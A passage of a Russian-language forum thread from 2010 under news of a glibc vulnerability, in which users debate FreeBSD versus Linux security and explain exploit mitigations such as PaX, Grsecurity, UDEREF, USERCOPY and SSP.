Регрессий производительности не наблюдается. > Вообще, звучит разумно. Кроме того, рост потребности в ресурсах должен прогнозироваться и обеспечиваться материально (докупить железо, провести оптимизацию архитектуры/алгоритмов и т.п.), иначе итогом будет захлёб и простои.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	106. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 20-Окт-10, 00:17
	> W^X -> технология, основанная на Х-бит? Если так, то она есть - > ею можно пользоваться в userspace Возможно, в последних версиях FreeBSD действительно появился аналог W^X, но я об этом ничего не слышал. Полтора года назад в 7.x ничего подобного не было. Но вы, скорее всего, имеете ввиду возможность вручную (из кода приложения) фактически маппить страницы без PROT_EXEC - в плане безопасности в общем случае это не даёт ничего. > UDEREF, USERCOPY -> чисто linux технология? Поскольку во FreeBSD я ею недавно > пользовался (это издевка ;) И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net, по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте - я для того все названия и привожу. > SSP -> Stack-Smashing Protector (ProPolice) это рандомная фишка gcc, которая кушает 5% > на тестах, и в реальных боевых условиях не сделает из компа > ракету. Знаете, есть задачи, где и 80% падение производительности оправдано, а вы о 5%... Например, вам лично важны эти 5% (допустим, что именно 5, а не 0.5 или 2) от скорости работы sudo? Или от скорости парсингда ASN.1 на этапе обработки сертификатов, при том что на последующих стадиях блочные шифры оптимизированы в ассемблере или сгружены на акселератор? Почитайте историю OpenSSL - в его парсере ASN.1 в принципе уже были уязвимости. К тому же, никто не заставляет вас терпеть SSP там, где не хотите - просто собирайте без -fstack-protector[-all]. В Hardened Gentoo для этого можно просто выбрать профиль компилятора. Однако, во FreeBSD до недавнего времени (без сторонних патчей) нельзя было ничего собрать с SSP - выбора почти никакого. С патчами (в т.ч. для включения рандомизации) я и сам собирал, но это лишние затраты на сопровождение и риски, связанные с потенциально нестабильной (никем не протестированной) кодовой базой. > Все остальные технологии основаны на рандомизации. Круто быть рандомно защищенным и платить > за это усложнением поддержки разрабатываемого кода, невозможностью дебага, поднятым ручником > для всех приложений. Да ну? В gdb 7.x есть поддержка PIE. В случае с PaX рандомизацию и MPROTECT можно отключить с пол пинка через paxctl. И так уж ручником? Лет 6 пользуюсь "ручниками", а тормоза наблюдал только по вине багов в коде основной ветки ядре, с безопасностью не связанных. > Давайте сравним? OpenBSD во главу угла ставит параноидальную защищенность. Её можно воспринимать Защищённость в OpenBSD пришла почти случайно, по колее гонки за корректностью, и очень часто, невзирая на репутацию, там поступаются безопасностью ради корректности и простоты (сопровождения кода). > как платформу для обкатки технологий, которые потом появляются в других ОС. Так они до сих пор нигде и не появились, по большему счёту. PaX и Grsecurity в линуксе начались раньше, независимо. Это к слову. > NetBSD - переносимость. Линукс уже работает на большем количестве платформ, и это не мешает ему служить для эффективного решения других задач. Тоже к слову. > DragonFlyBSD - класстеризация. Экспериментальная ОС, в которой кластеризация - лишь следствие принятых подходов, направленных на совершенствование архитектуры и повышение эффективности параллельных вычислений. > FreeBSD - это платформа для > продакшен серверов, которую можно и нужно сравнивать с Windows и Linux. Я помню, как после очередного обновления в рамках rolling release (или как они называют этот принцип) поймал на этой "платформе для продакшен серверов" бинарную несовместимость с кодом недельной давности - сменили значения констант флагов в fnctl. Помню, как после обновления vsftpd он стал подвисать при работе по ftps с большинством клиентского софта, а общепринятых способов отката на предыдущую версию порта там нет (?). Продакшен! Даже в лохматом Portage всё гораздо лучше. > Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD > более четко разделены меж собой по подходу. Да нет там никакого чёткого разделения. Это всё условности, граница между которыми на практике очень размыта. OpenBSD - форк NetBSD по причине разногласий. DragonFly BSD - форк FreeBSD по той же причине. Если там кто и разделён, то это разработчики. :) > И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить и делать глупости. > системы не может считаться достаточным для целого ряда программных ошибок, способных > привести к компрометации системы или хранимой ею данных. Нет гарантии, что > код, призванный защитить от проникновения, сам не послужит ступенькой для злоумышленника. Зато есть гарантия, что апостериори существующие ошибки с обращением по указателям на юзерспейс обеспечивают возможность компрометации. На практике, сколько уявзимостей было найдено в реализациях защиты от обращения по указателям в юзерспейс? Несоизмеримо меньше, чем уязвимостей _из-за_ отсутствия защиты от обращения по указателям в юзерспейс. > Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь > зарекомендовавшие себя технологии. Ну, это просто неправда. Вот ZFS - давно она себя зарекомендовала? > Чтобы мой ответ не послужил темой холивора, отметичу, что на сегоднешний день > ни одна ОС не может считаться идеальной. Прекрасно представляю, насколько это > касается FreeBSD, поскольку мне с ней приходится более всего работать. Профессионалы > знают недостатки тех систем, с которыми работают. Именно это их кормит. > Хотел бы узнать, какими ОС вы занимаетесь? Профессионалы должны уметь подбирать инструмент, по совокупности качеств наиболее подходящий для решения конркетных задач. И по этому критерию, из-за априорных суждених о "ручниках" вне контекста задачи профессионала в вас узнать сложно.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	119. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от BigHo on 20-Окт-10, 02:35
	> Возможно, в последних версиях FreeBSD действительно появился аналог W^X, но я об > этом ничего не слышал. Полтора года назад в 7.x ничего подобного > не было. Но вы, скорее всего, имеете ввиду возможность вручную (из > кода приложения) фактически маппить страницы без PROT_EXEC - в плане безопасности > в общем случае это не даёт ничего. Про то и речь. Только с уточнением результата - для AMD64 нормально работает. > И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит > время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net, > по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс > хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте > - я для того все названия и привожу. В смысле архитектурно linux и freebsd отличаются. Настолько, что copyin/copyout - я уж и не припомню когда появились для freebsd. Я про то, что изначально не было разыменования user указателей для ядра. Изначально при использованиии copyin/copyout использовались проверки границ. Троллинг может и имеет тут место, поскольку подозреваю, что в линуксе обязано было существовать подобное. Делаю выводы - видимо я не понял, про что шла речь. И хотя я походил по ссылкам через гугл-поводырь, но утомленные глаза уже щурятся от такого количества инородных букв. Если можно, коротко, от чего защищают UDEREF и USERCOPY? Например, если на пальцах? > Знаете, есть задачи, где и 80% падение производительности оправдано, а вы о > 5%... Например, вам лично важны эти 5% (допустим, что именно 5, > а не 0.5 или 2) от скорости работы sudo? Или от > скорости парсингда ASN.1 на этапе обработки сертификатов, при том что на > последующих стадиях блочные шифры оптимизированы в ассемблере или сгружены на акселератор? > Почитайте историю OpenSSL - в его парсере ASN.1 в принципе уже > были уязвимости. Да, но проценты имеют свойство множиться друг на друга. И кстати, да - может именно 0.5%-2.0% - тут моя память есть очень непольшой. > К тому же, никто не заставляет вас терпеть SSP там, где не > хотите - просто собирайте без -fstack-protector[-all]. В Hardened Gentoo для этого > можно просто выбрать профиль компилятора. Однако, во FreeBSD до недавнего времени > (без сторонних патчей) нельзя было ничего собрать с SSP - выбора > почти никакого. С патчами (в т.ч. для включения рандомизации) я и > сам собирал, но это лишние затраты на сопровождение и риски, связанные > с потенциально нестабильной (никем не протестированной) кодовой базой. Ага, это видел, правда сам не включал/не выключал. > Да ну? В gdb 7.x есть поддержка PIE. В случае с PaX > рандомизацию и MPROTECT можно отключить с пол пинка через paxctl. И > так уж ручником? Лет 6 пользуюсь "ручниками", а тормоза наблюдал только > по вине багов в коде основной ветки ядре, с безопасностью не > связанных. Я - упертый фрибээздятник. Там gdb - 6.1.1, а вместо paxctl - отсутствие этого самого PaX. > сих пор нигде и не появились, по большему счёту. > PaX и Grsecurity в линуксе начались раньше, независимо. Это к слову. Еще раз, давайте про UDEREF и USERCOPY - что началось, где началось - чего они делают то в конце концов. Ссылка наверняка на русском есть. Почему не на английском? Можно и на английском, только не список рассылки или доски объявления, где вы как дома и знаете, что где. Мне linux от обилия только вам понятных слов интересней не станет (думаю, как и другим). > Линукс уже работает на большем количестве платформ, и это не мешает ему > служить для эффективного решения других задач. Тоже к слову. Ну с NetBSD все равно не сравнится. Тоже к слову. > Экспериментальная ОС, в которой кластеризация - лишь следствие принятых подходов, направленных > на совершенствование архитектуры и повышение эффективности параллельных вычислений. А кто спорит? >> FreeBSD - это платформа для >> продакшен серверов, которую можно и нужно сравнивать с Windows и Linux. > Я помню, как после очередного обновления в рамках rolling release (или как > они называют этот принцип) поймал на этой "платформе для продакшен серверов" > бинарную несовместимость с кодом недельной давности - сменили значения констант флагов > в fnctl. Помню, как после обновления vsftpd он стал подвисать при > работе по ftps с большинством клиентского софта, а общепринятых способов отката > на предыдущую версию порта там нет (?). Продакшен! Даже в лохматом > Portage всё гораздо лучше. Ну это вы зря. Продакшены тоже разные бывают. Там, где ОС не меняется веками, обрастает мохом, и все равно работает, или где каждый день выходят новые затычки для ультрасовременных багов. Если я начну делать ОС на какой-то из существующих платформ с влючением внутрь "секрета пирога", то выберу простой понятный код который не требует предоставления исходников моего добра. >> Весь этот зоопарк *BSD* ОС подобен зоопарку Linux платформ, только BSD >> более четко разделены меж собой по подходу. > Да нет там никакого чёткого разделения. Это всё условности, граница между которыми > на практике очень размыта. OpenBSD - форк NetBSD по причине разногласий. > DragonFly BSD - форк FreeBSD по той же причине. Если там > кто и разделён, то это разработчики. :) И разногласия - религиозного порядка, согласен. Одним кажется, что правильно разбивать яйцо с острого конца, другим не нравится, что они тем самым корябают им стол. Но все равно, спроси, почему одним нравится один дистрибьютив линукса, чем другой - внятного ответа не дождешся. Ну разве что slackware - их позиция будет понятна. >> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты > Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные > примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто > гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить > и делать глупости. Почему же так резко прервались? Давайте уж тогда я продолжу: "...и простотой кода, который можно поддерживать относительно небольшим коллективом распределенных разработчиков. Ясность является дополнительной степенью защиты от закладок в коде" > Зато есть гарантия, что апостериори существующие ошибки с обращением по указателям на > юзерспейс обеспечивают возможность компрометации. На практике, сколько уявзимостей было > найдено в реализациях защиты от обращения по указателям в юзерспейс? Несоизмеримо > меньше, чем уязвимостей _из-за_ отсутствия защиты от обращения по указателям в > юзерспейс. Указатели на юзерспейс? Из ядра? Ахтунг! Ахтунг! Альарм! Альарм! Надо подымать великого Ктулху, ибо девел не справился! Все идет к тому, как я понимаю, что в линукс указатели на юзерспейс на кольце ядра выполняются(выполнялись)? Теперь у меня есть один аргумент - почему не linux :) >> Поэтому во FreeBSD разработчики кодовой базы избегают модных тенденций, портируя лишь >> зарекомендовавшие себя технологии. > Ну, это просто неправда. Вот ZFS - давно она себя зарекомендовала? Свободная файловая система, которая многими своими свойствами импонирует структуре ОС и её лицензии - зарекомендовала себя только так уже при первом приближении. > Профессионалы должны уметь подбирать инструмент, по совокупности качеств наиболее подходящий для решения конркетных задач. Не путайте профессионалов и мега-супер-универсалов-хатха-йоги-хари-кришна. > И по этому критерию, из-за априорных суждених о "ручниках" вне контекста задачи профессионала в вас узнать сложно. Вообще на момент заведения разговора о профессионалах, я уже говорил о вас. Но не беспокойтесь, если вы себя считаете недостоиным упоминания, то увяжу это со скромностью вашего характера. Сам такой ;) И вообще, наезд не засчитан :)
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	121. "В Glibc обнаружена серьезная уязвимость"	+2 +/–
	Сообщение от paxuser on 20-Окт-10, 03:58
	>[оверквотинг удален] >> в общем случае это не даёт ничего. > Про то и речь. Только с уточнением результата - для AMD64 нормально > работает. >> И в чём смысл издёвки? Дать собеседнику понять, что он зря тратит >> время на троллей? По UDEREF для x86 есть документация на pax.grsecurity.net, >> по UDEREF для amd64 есть вводная в архивах рассылки Grsecurity. Плюс >> хелп в конфигураторе ядра для большинства механизмов защиты. Если интересно, изучайте >> - я для того все названия и привожу. > В смысле архитектурно linux и freebsd отличаются. Настолько, что copyin/copyout - я > уж и не припомню когда появились для freebsd. Я про то, Да нет там никаких принципиальных различий, разница по сути в мелочах. > что изначально не было разыменования user указателей для ядра. Публично о классе этих уязвимостей начали говорить где-то с 2003 года. А уязвимости были изначально (и кстати эксплуатировались втихую до первых публикаций), спасала от них разве что сегментация (как раз на x86), и с функциями копирования в/из юзерспейса они никак не связаны. > Изначально при использованиии copyin/copyout использовались проверки границ. И в чём ваша мысль? > Троллинг может и имеет тут место, поскольку подозреваю, что в линуксе обязано > было существовать подобное. Делаю выводы - видимо я не понял, про Так и не понял, зачем или почему троллинг. Проехали. > что шла речь. И хотя я походил по ссылкам через гугл-поводырь, > но утомленные глаза уже щурятся от такого количества инородных букв. Если > можно, коротко, от чего защищают UDEREF и USERCOPY? Например, если на > пальцах? Процитирую отсюда: http://www.grsecurity.net/~spender/uderef.txt many kernel bugs can be exploited (at all or more reliably) due to the fact that on i386 most OSs don't separate the userland virtual address space from that of the kernel. this in turn means that whenever userland can make the kernel (unexpectedly) dereference a userland controlled pointer, userland can control the data (and sometimes, control) flow of the kernel by virtue of providing the attack data in its own userland address range as it's fully visible in the kernel's virtual address space as well (the two virtual address spaces are the same because of the use of flat segments and lack of effective address space IDs in the i386 paging logic). В amd64 и многих других архитектурах сегментация отсутствует, так что оговорки про flat segments можно пропустить. Реализация UDEREF вкратце описана здесь: http://grsecurity.net/pipermail/grsecurity/2010-April/001024... Суть та же: не дать ядру случайно использовать данные, которые потенциальный злоумышелнник мог сформировать специально для вредоносного изменения хода выполнения кода в ядре. По USERCOPY взято отсюда: http://grsecurity.net/news.php#develup PAX_USERCOPY: this feature I developed (which was improved and added within PaX) performs bounds checking on kernel objects, when copying into or out of them via userland. The feature provides the most protection for objects located on the heap (the feature supports all current allocators: SLAB, SLUB, and SLOB, with the strictest checks existing for SLUB). For objects located on the stack, the bounds checking is less strict -- mainly to prevent infoleaking of the entire kernel's memory space. The bounds checking on stack objects will improve in future versions of the feature. > Да, но проценты имеют свойство множиться друг на друга. И кстати, да > - может именно 0.5%-2.0% - тут моя память есть очень непольшой. Ну вот, опять общие рассуждения. Там O(1), между прочим. И пока вы рассуждаете, у многих всё это работает, защищает от атак и не множится. Вот опять-таки к слову: на серьёзных объектах (местная краевая администрация) я наблюдал компрометацию FreeBSD 3.5.х и 4.х аж в 2001-ом или даже 2000-ом году. И с розовым взглядом неуловимого джо на мир расстался тогда же. И повезло ещё, что наследили - а то бы не и расстался. > Ага, это видел, правда сам не включал/не выключал. Но суть-то в том, что в линуксе выбор между SSP и её отсутствием есть уже давно, а во FreeBSD его практически не было. И пригодность её для решения отдельно взятых задач от этого тоже страдала. > Я - упертый фрибээздятник. Там gdb - 6.1.1, а вместо paxctl - > отсутствие этого самого PaX. Ну так получается, что проблемы самой FreeBSD вы объявляете общими и будто бы даже практически нерешаемыми. Включить в систему gdb 7.x или собирать его из портов кто мешает? А реализовать гибкое и простое управления механизмами защиты, как в PaX? Никто не машает. У разработчиков FreeBSD просто другие приоритеты. И вот что важно: публично они эти моменты нигде не разъясняют и тем самым косвенно вводят своих пользователей в заблуждение. > Еще раз, давайте про UDEREF и USERCOPY - что началось, где началось > - чего они делают то в конце концов. Ссылка наверняка на > русском есть. Почему не на английском? Можно и на английском, только > не список рассылки или доски объявления, где вы как дома и > знаете, что где. Мне linux от обилия только вам понятных слов > интересней не станет (думаю, как и другим). Выше дал цитаты и ссылки на нормальные объяснения. >> Линукс уже работает на большем количестве платформ, и это не мешает ему >> служить для эффективного решения других задач. Тоже к слову. > Ну с NetBSD все равно не сравнится. Тоже к слову. Я слышал другое авторитетное (для меня) мнение. Впрочем, важно другое: вся ваша классификация BSD неверна по сути и по форме. > А кто спорит? Не знаю, кто спорит, но ваше "тождество" между DragonFly BSD и кластеризацией притянуто за уши и не учитывает экспериментального характера ОС - какие тут кластеры в продакшене? > Ну это вы зря. Продакшены тоже разные бывают. Там, где ОС не Ну вот, теперь вы перешли от общего случая к частному: уже не для продакшена (вообще), а для отдельно взятого. О том и речь. > корябают им стол. Но все равно, спроси, почему одним нравится один > дистрибьютив линукса, чем другой - внятного ответа не дождешся. Ну разве > что slackware - их позиция будет понятна. Ну раз уж зашла речь: я, например, могу чётко обосновать свой выбор, критерии и факты, на основании которых я выбрал или забраковал тот или иной дистрибутив (не важно, какой ОС) для решения той или иной задачи. >>> И вообще, считается, что защита связанная с усложнением технологии по преодолению защиты >> Любой принцип можно довести до абсурда, игнорируя даже чёткие доводы и наглядные >> примеры. Случай с безопасностью во FreeBSD как раз такой. Там просто >> гонятся за производительностью и функционалом, а положение неуловимых джо позволяет говорить >> и делать глупости. > Почему же так резко прервались? Давайте уж тогда я продолжу: "...и простотой > кода, который можно поддерживать относительно небольшим коллективом распределенных разработчиков. "Прервался" потому, что всё сказал. PaX - набор сторонних патчей на постоянно развивающееся ядро, количество разработчиков - ОДИН. Grsecurity - тоже набор патчей на то же ядро, количество разработчиков - ОДИН. Итого ДВА человека успевают вовремя и качественно адаптировать и дополнять свои патчи на изменчивую и неподконтрольную им кодовую базу. Качество кода можете оценить сами: http://www.grsecurity.net/~spender/grsecurity-2.2.0-2.6.35.7... > Ясность является дополнительной степенью защиты от закладок в коде" И ясность тоже можете оценить. А о закладках - зачем они нужны, когда проще потратить меньшие деньги с меньшими рисками на поиск уязвимостей, от которых ядро FreeBSD никак не защищено? > Указатели на юзерспейс? Из ядра? Ахтунг! Ахтунг! Альарм! Альарм! Надо подымать великого > Ктулху, ибо девел не справился! Все идет к тому, как я > понимаю, что в линукс указатели на юзерспейс на кольце ядра выполняются(выполнялись)? > Теперь у меня есть один аргумент - почему не linux :) Шутки - шутками, но вот со стороны очень похоже, что ко многим, если не всем, высказанным здесь выводам вы пришли очень похожими рассуждениями. Для справки: уязвимости к обращению (термин "разыменование" мне не нравится) по нулевому указателю - частный случай уязвимости к обращению по указателю на юзерспейс. Для (а лучше до) просветления советую погуглить FreeBSD null pointer dereference vulnerability. > Свободная файловая система, которая многими своими свойствами импонирует структуре ОС > и её лицензии - зарекомендовала себя только так уже при первом > приближении. Итак, глыба нестабильного, нарушающего каноны, кода ZFS была включена в ядро FreeBSD из соображений расширения функционала. Как-то это плохо стыкуется с вашей аргументацией против реализации механизмов защиты. ;) > Не путайте профессионалов и мега-супер-универсалов-хатха-йоги-хари-кришна. Я думаю, что не путаю.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	122. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 04:00
	s/Реализация UDEREF вкратце описана/Реализация UDEREF для amd64 вкратце описана/
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	123. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 04:19
	Более внятное описание USERCOPY из хелпа к конфигу: By saying Y here the kernel will enforce the size of heap objects when they are copied in either direction between the kernel and userland, even if only a part of the heap object is copied. Specifically, this checking prevents information leaking from the kernel heap during kernel to userland copies (if the kernel heap object is otherwise fully initialized) and prevents kernel heap overflows during userland to kernel copies. Note that the current implementation provides the strictest checks for the SLUB allocator. If frame pointers are enabled on x86, this option will also restrict copies into and out of the kernel stack to local variables within a single frame. Since this has a negligible performance impact, you should enable this feature.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	196. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от taaroa (ok) on 24-Окт-10, 13:14
	>PaX - набор сторонних патчей на постоянно развивающееся ядро, количество разработчиков - ОДИН. Grsecurity - тоже набор патчей на то же ядро, количество разработчиков - ОДИН. Итого ДВА человека успевают вовремя и качественно адаптировать и дополнять свои патчи на изменчивую и неподконтрольную им кодовую базу. Позвольте Вас дополнить и поправить. Slo-Tech: Could you please describe in few words what is PaX and GRSecurity and how many people are involved in those projects. Brad Spengler: PaX is a beast that has changed the shape of security drastically already and has even more tricks up its sleeve to change it even further sometime in the near future. It focuses itself with the generic eradication of exploitation against a number of bug classes. Some of that work is still incomplete, but that will (hopefully) change and then another 8 years from now everyone else will catch on. PaX focuses entirely on the exploitation of memory, whereas grsecurity adds in other host-based defenses and adds extra support to the features of PaX (bruteforce deterrence, anti-infoleaking of ASLR, not allowing arbitrary code execution at the filesystem level) that are needed to reap extra benefits from PaX. Grsecurity includes a lot of "set it and forget it"-type automatic features (the wiki has a listing) as well as an easy to use RBAC system that tries to make it easy to generate good policies via learning (per process, per user, or per system -- your choice) while at the same time trying to prevent the admin from shooting themselves in the foot (a large number of security checks are done against the policy at load time to prevent attack vectors that would make the entire point of using RBAC useless). The policies are human readable, and the error messages should be useful in describing attacks that are the reason for configuring the policy a particular way. PaX has an unknown number of people involved! Hence PaX Team -- it's definitely at least one person :) For the grsecurity side it's just me. Occasionally I do get patch submissions (like from Zbyniu Krzystolik) or sponsors/friends will tell me something they want added to it, but other than that all the coding/new features etc are done by me.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	197. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser (ok) on 24-Окт-10, 22:19
	> PaX has an unknown number of people involved! Hence PaX Team -- > it's definitely at least one person :) For the grsecurity side Не совсем так. Из интервью с самим pipacs: "I talked to a few friends about it and we decided to do a windows version as that's what we were familiar with (speaking of kernel internals). This is also the reason for the 'team' in the name, even if the other guys dropped out soon afterwards to pursue other interests." http://www.phrack.org/issues.html?issue=66&id=2
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	107. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 20-Окт-10, 00:22
	> Хотел бы узнать, какими ОС вы занимаетесь? Сейчас - Hardened Gentoo и CentOS, очень редко другие дистрибутивы. Раньше - FreeBSD, OpenBSD и винда.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	167. "В Glibc обнаружена серьезная уязвимость"	–1 +/–
	Сообщение от User294 (ok) on 20-Окт-10, 20:30
	> Сейчас - Hardened Gentoo и CentOS, очень редко другие дистрибутивы. Ух ты, кажется я впервые в жизни вижу вменяемого пользователя Генту, способного озвучить достаточно весомый аргумент в пользу своего выбора :).
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	23. "В Glibc обнаружена серьезная уязвимость"	–3 +/–
	Сообщение от mma on 19-Окт-10, 16:16
	Что-то вы тут фантазируете. ни по одному из пунктов не согласен. 1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в основном как пакетогонялка, как дескто или интерактивные сервися ее мало 2)каковы критерии оценки качества кода ядер?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	37. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 19-Окт-10, 16:46
	> Что-то вы тут фантазируете. ни по одному из пунктов не согласен. > 1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в > основном как пакетогонялка, как дескто или интерактивные сервися ее мало Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым атакам. О пакетогонялках расскажите, например, Сысоеву, и давайте будем рассматривать универсальное применение, а не частные случаи. > 2)каковы критерии оценки качества кода ядер? Субъективно-эмпирические, с оглядкой на сложность кода с опубликованными уязвимостями (на сколько просто/сложно было не допустить ошибку, приведшую к уязвимости).
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	39. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от тигар (ok) on 19-Окт-10, 16:54
	>> Что-то вы тут фантазируете. ни по одному из пунктов не согласен. >> 1)Да фряха значительно более подвержена локальным уязмимосятм но и и спользуется в >> основном как пакетогонялка, как дескто или интерактивные сервися ее мало > Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым > атакам. О пакетогонялках расскажите, например, Сысоеву, и давайте будем рассматривать > универсальное применение, а не частные случаи. всеже хотелось бы увидеть пример при помощи которого я удаленно подниму свои привилегии до супер-пользователя, об этом же речь, да?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	41. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 19-Окт-10, 16:59
	> всеже хотелось бы увидеть пример при помощи которого я удаленно подниму свои > привилегии до супер-пользователя, об этом же речь, да? Нет, не об этом речь. Но если взломщик заполучил права обычного пользователя и знает/умеет эксплуатировать неопубликованные уязвимости в ядре, то он и рута получит, и руткит при желании повесит. Именно так они и работают.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	43. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от тигар (ok) on 19-Окт-10, 17:02
	> Нет, не об этом речь. Но если взломщик заполучил права обычного пользователя > и знает/умеет эксплуатировать неопубликованные уязвимости в ядре, то он и рута > получит, и руткит при желании повесит. Именно так они и работают. дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами "чтение молитв торвалцу" присутствует?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	45. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 17:12
	> дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами > "чтение молитв торвалцу" присутствует? В линуксе реализованы механизмы, затрудняющие и/или предотвращающие экслпуатацию некоторых классов уязвимостей - в некоторых случаях (а с PaX и Grsecurity - даже в большинстве) это позволяет свести более тяжкие последствия атак к DoS, а иногда и вовсе сделать атаку невозможной (как в случае с этой уязвимостью в glibc, например).
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	46. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от paxuser on 19-Окт-10, 17:18
	Для ясности: безопасность ванильного линукса лично я оцениваю очень низко (там просто не реализовано почти никаких механизмов защиты от эксплуатации вечнодырявого ядра, а юзерспейс-защиты - эрзац даже тех, что есть в RHEL/CentOS, не говоря о PaX и Grsecurity), но тем не менее эксплуатация некоторых уязвимостей по сравнению с FreeBSD может быть значительно затруднена даже там.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	48. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от тигар (ok) on 19-Окт-10, 17:20
	>> дак а fbsd причем? или в линаксах еще где-то между вышеописанными шагами >> "чтение молитв торвалцу" присутствует? > В линуксе реализованы механизмы, затрудняющие и/или предотвращающие экслпуатацию некоторых > классов уязвимостей - в некоторых случаях (а с PaX и Grsecurity > - даже в большинстве) это позволяет свести более тяжкие последствия атак > к DoS, а иногда и вовсе сделать атаку невозможной (как в > случае с этой уязвимостью в glibc, например). я пытаюсь понять зачем Вы пишете наборы фраз. то PaX и Grsecurity то "Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым атакам" (она - fbsd, напомню на случай если Вы ошиблись с дозировкой и уже все забыли) Вы можете внятно объяснить свои мысли как-то по другому? То что вы поклоняетесь различным PaX, Grsecurity и прочим вещам уже давно все поняли, думаю.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	53. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 17:26
	> я пытаюсь понять зачем Вы пишете наборы фраз. то PaX и Grsecurity Нет, вы просто хамите и либо не желаете понять, либо не обладаете даже базовым представлением. > "Она не только локальным подвержена - пользовательские процессы наиболее подвержены удалённым > атакам" (она - fbsd, напомню на случай если Вы ошиблись с > дозировкой и уже все забыли) FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно с Hardened Gentoo (или другими системами на базе ядер с PaX и Grsecurity). > Вы можете внятно объяснить свои мысли как-то по другому? То что вы > поклоняетесь различным PaX, Grsecurity и прочим вещам уже давно все поняли, > думаю. Задавайте уточняющие вопросы - отвечу. Только без хамства, иначе отвечать не буду.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	58. "В Glibc обнаружена серьезная уязвимость"	+1 +/–
	Сообщение от тигар (ok) on 19-Окт-10, 17:45
	> FreeBSD не только подвержена локальным уязвимостям больше, чем тот же Hardened Gentoo > с полноценным набором механизмов защиты ядра, но и пользовательские процессы (сетевые > сервисы, клиентские приложения) во FreeBSD больше (чаще, быстрее, проще) подвержены эксплуатации > уязвимостей к выполнению произвольного кода по сравнению с линуксом и особенно > с Hardened Gentoo (или другими системами на базе ядер с PaX > и Grsecurity). знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших утверждений?
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

	73. "В Glibc обнаружена серьезная уязвимость"	+/–
	Сообщение от paxuser on 19-Окт-10, 19:07
	> знаете... меня больше практика интересует. Есть примеры? Где посмотреть статистику Ваших > утверждений? Вас не практика интересует, а некие примеры и статистика, которые в реальном мире никто не создаёт и не собирает, и на отсутствии которых можно сделать акцент, не так ли? Однако если вас действительно интересует практика, поинтересуйтесь у практиков - у исследователей и пентестеров с мировыми именами. Для этого достаточно обратиться с вопросами в листы рассылки, вроде Full-Disclosure или bugtraq, и попросить подписчиков (в т.ч. по именам) высказаться и/или дать материал к ознакомлению.
	Высказать мнение | Ответить | Правка | ^ | Наверх | Cообщить модератору

